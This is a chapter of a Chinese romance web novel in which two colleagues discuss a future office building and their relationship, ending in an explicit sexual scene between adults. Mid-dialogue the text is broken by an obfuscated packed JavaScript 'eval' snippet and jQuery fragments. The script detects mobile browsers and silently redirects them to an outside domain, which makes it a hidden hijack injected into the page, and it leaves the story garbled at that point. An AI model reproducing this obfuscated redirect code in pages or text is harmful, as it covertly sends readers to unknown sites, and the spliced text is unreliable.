61. 湿漉漉

作品:《衔月可赏

    昨日没有做的事情被很好的补上了。


    吃饱饭后,商时序带着她逛了一遍公寓,为她讲这里的装修、布置,一件一桩,能够聊很久。


    这里说是他租的,但是和买的也差不多。签了合约后他就和房东打了招呼,自己叫了个软装团队,里里外外都做成了简约的风格。


    就连没有人住过的客房,他也保持着统一,黑白灰的色调,干干净净一尘不染。


    “如果之后你打算买房子,不租这里了,岂不是会很亏?”


    楼衔月和他一起坐在落地窗前,这是整个客厅最宽敞的地方,专门砌了个微凸的台面。上面有小桌子和厚实的地毯,方便人躺着、坐着,什么姿势都可以,在这里看星星。


    “当时没有想这么长远。”


    虽然心里有把握,但风蕴能发展到什么样,需要的实力和运气缺一不可,有些东西他没法预料。他只能关注眼前,把第一个项目做好,然后是第二个。


    商时序想了想,又说:“不过你说得对,一年后,可能会很亏。”


    “你不租了?”她坐起来,侧着看他,“为什么?”


    他轻描淡写:“明年,如果顺利的话,新的办公大楼会完工,到时候我们都会搬过去。”


    楼衔月都磕巴了:“新大楼?我们赚够钱了?”


    “……我们什么时候不够钱了?”商时序瞥她。


    好像也是。


    风蕴不说别的,员工关怀这一块绝对是顶尖的。节假日礼物就不说了,季度生日会、时不时的下午茶和团建,确实怎么看都不像钱不够用的。


    尤其是,风蕴不太看重考勤,也不阻拦员工请假。


    正式员工一进来就会拥有十天的带薪假期,无需自己想理由,请了就批。


    这种令人咋舌的制度,不是一个紧巴巴过日子的企业能制定出来的。


    于是楼衔月不提这个,就问他:“到时候整栋楼都是我们的?”


    “我们”,这个词令他柔软一瞬。


    “都是,在南山。”商时序点头,“我之前让朋友留意,最近有几家联系我,办手续需要时间,但年底应该就能开始装修。”


    缪乐宁当时听他说完,回去就找了他爸。南山那边发展好,租金也高,用工成本成倍涨,自然有很多撑不下去的企业急着脱手回流资金。


    “南山啊……”她想了想,“那里离我们学校有点远。”


    要转好几趟地铁,长长的铁轨,挤上下班高峰期的人流。


    从这边到那边,从孵化楼到深城湾,就好像是新兴发展区往纸醉金迷走。


    她没料商时序能回答。


    他掀起眼皮,深深看了她一眼:“公司旁边会配公寓给员工,没有课的时候,你可以住过去,步行的距离,不远。”


    他这样处变不惊,楼衔月便忍不住要和他说反话,想看他变脸色。


    “你这么确定我实习完会正式入职?就不准我秋招找到更好的,到时候天高皇帝远,你一周只有周末能见我。”


    隔着水泄不通的车道和红绿灯,像鹊桥。


    他们是直接坐在地毯上的,玻璃窗外是深城一览无余的高空夜景。一整座城市的繁华收入眼中,车流变作灯带,点缀着此起彼伏的霓虹灯。


    她仰着头,于是,那些光芒都到了她脸上。


    商时序将她压下,让这弯月亮靠在他肩膀上,他说:“没确定。”


    他带着笑意,很缓慢地说:“你的能力在,风蕴不会想你走,但你能力在,肯定也能找到更好的。所以,如果你还在,公寓是你最好的选择,而如果想去更喜欢的……你要去的大部分公司一定在南山,你可以直接和我一起住。”


    他的手若有似无摩挲着她的肌肤,有点痒,她不习惯地动一动,又被他勒住。


    她问:“你早就想好了?”


    他回答:“没有特地。”


    半晌,楼衔月“嗯”了一声。她吸了吸鼻子,自动自觉往下靠,躺到了他的膝盖上,抱住他的手埋进去。


    商时序无奈地说:“你不想留就不留,用不着和我撒娇。”


    她被逗笑,那点儿感动和鼻酸扔到脑后:“谁说我在意的是这个?”


    他不回答,笑了笑。


    说都说到了,楼衔月也有点想知道他的答案:“你真没想我留下来?”


    同在一个公司,以后交往起来说不方便是方便,但是方便也真方便。


    讲道理,如果不考虑会分手之类的事情,若他们可以一块上班、下班,无疑省下了很多在路上的时间。


    商时序捏她后颈肉,软软的:“想过,但是我知道你不会留,也觉得你不用留。”


    她等他解释。


    “你有很多选择,风蕴却只是当前这个项目很需要你。你既然不是甘心原地打转的人,就肯定会去更能成长的地方——我和你持同样的想法,你够优秀,不必要困在这里。”


    商时序在她肩膀上拍一拍,不动声色地说:“当然,还有一个重要原因,若你留下来,我们何时才能公开?”


    楼衔月这个姿势,能将他看得一清二楚。


    这么个奇特的看人方向,换做任何人都能被瞳孔放大成崎岖不平的角度。但是商时序垂眸,她看到的是他冷峻的面孔,唇角扬起,噙着比海浪还要深沉的温柔。


    “商时序,你真的想好多。”她笑着说。


    多到,把她没考虑到的东西全部想了一遍。


    楼衔月勾起嘴角:“但是,我现在好像也有点明白了。”


    “明白什么?”


    她话题跳跃很快,忽然就换到工作上:“史总的态度啊,他不是拿不出这些材料、更不是不知道该怎么做。我今天忽然懂了一个道理,我的这些要求和他的工作本来就是相违背的,所以他才会一直不乐意。”


    “他要项目进度越快达成越好,但是这些文档势必会影响进度,也就是影响他的利益,我说得对不对?”


    商时序静静看着她:“对。”他没有说话,在等她的下一句。


    被看透,楼衔月也不觉得窘迫。她的身体莫名有点发抖,为她要说出的下一句话:“所以,我是不是又距离你近了一点?”


    “你是站得很高,但我也会往上,总


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181707|161852||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有一天,我会不害怕、不忐忑。商时序,你给了我够多我想要的,我也想给你想要的,想告诉你……我不会后悔。”


    她不后悔来这里实习、不后悔在车里面朝他迈出那一步。


    她不是见色起意、不是是新鲜感、更不是是日后会认清的心猿意马。她心里知道不够,他还想让他知道。


    让他知道,她的认真不会比她少。


    商时序盯着她亮晶晶的眼,她说这些的时候恐怕自己都没意识到,瓷白的脸、蝴蝶一样的睫毛,每一处每一分,比夜色中的任何都要明亮。


    屋子里“砰”一声,不知道是谁碰倒了桌上的物件。


    地毯柔软,没有摔出声音,而是滚落到了他们身边。


    他脸上的金边眼镜被一把扔了,面对面再没阻碍。楼衔月还没反应过来,她已经被他抵着手抵着脸,陷入专心致志的吻中。


    没有前兆、更没有什么缠绵悱恻,但他浑身滚烫得厉害,手指难耐地摸着她的脊背。


    她喘不上气,有生理性的眼泪出来,然后顺着脸颊没入浓密的发。


    商时序恐怕比她难熬,领带已经被扯到很下,能清晰看到喉结反复被吞咽着。


    单向的玻璃窗透亮,隐约能看到衬衣和领带都凌乱着的男人,将她笼罩在怀里。


    他扣着箍着她的手,不凶,但是很强势,没给她逃脱的权利。


    “楼衔月。”他喊他,命令式的语气。


    不知道为何她听懂了,迷蒙地睁开眼睛,看着他,将他整个人一并倒映进眼眸。


    他在攀折月亮,要她记住这一刻。


    和上回一样,衣摆下方被轻而易举地攻入。


    他仿佛又变回了工作场合上的商总,冷眼旁观她的一举一动,好考量接下来要对她做出怎么样的回应。


    揉开弄立是要用力些、还是更有余地些,他很有计划,会按部就班。


    潮热的呼吸不仅仅停留在了唇瓣上,她鼻尖上的小痣被吮得通红。脆弱的脖颈、锁骨,更往下时,遭到了她紧张的抵抗。


    没经历过,这样陌生的感觉,她眼睛都涣散。心脏快到撞裂肋骨、脚尖绷直到发痛。


    一直到最后一刻,她抓着他头发的手才蓦然松了。


    一连串的低声的呜咽后,楼衔月无力地被他牢牢抱紧,呼吸怎么都平复不下来。


    她听见他笑了,衬衣上都是她揉皱的痕迹,就算这样,他还是慢条斯理地亲她的嘴角:“乖。”


    桌上的纸巾盒已经到了地面上,商时序捡起来抽了几张。


    湿漉漉的。


    “去不去洗澡?”他闻着她的头发,轻声哄她。


    他们姿势其实没怎么变,楼衔月熬过了眼前发黑的时段,脸皮上仍有酥酥麻麻的感觉。她答不上来,闭着眼睛,去抱他。


    又过了一会儿,她能说话了,却没回他,而是问:“你呢?”


    也不知道她问的是哪件事。


    商时序嗓音微微哑着,指腹的触感还在:“我等你。”


    她不接受他的避而不答,小腿往上顶,被卡住了:“我是说,这个你呢?”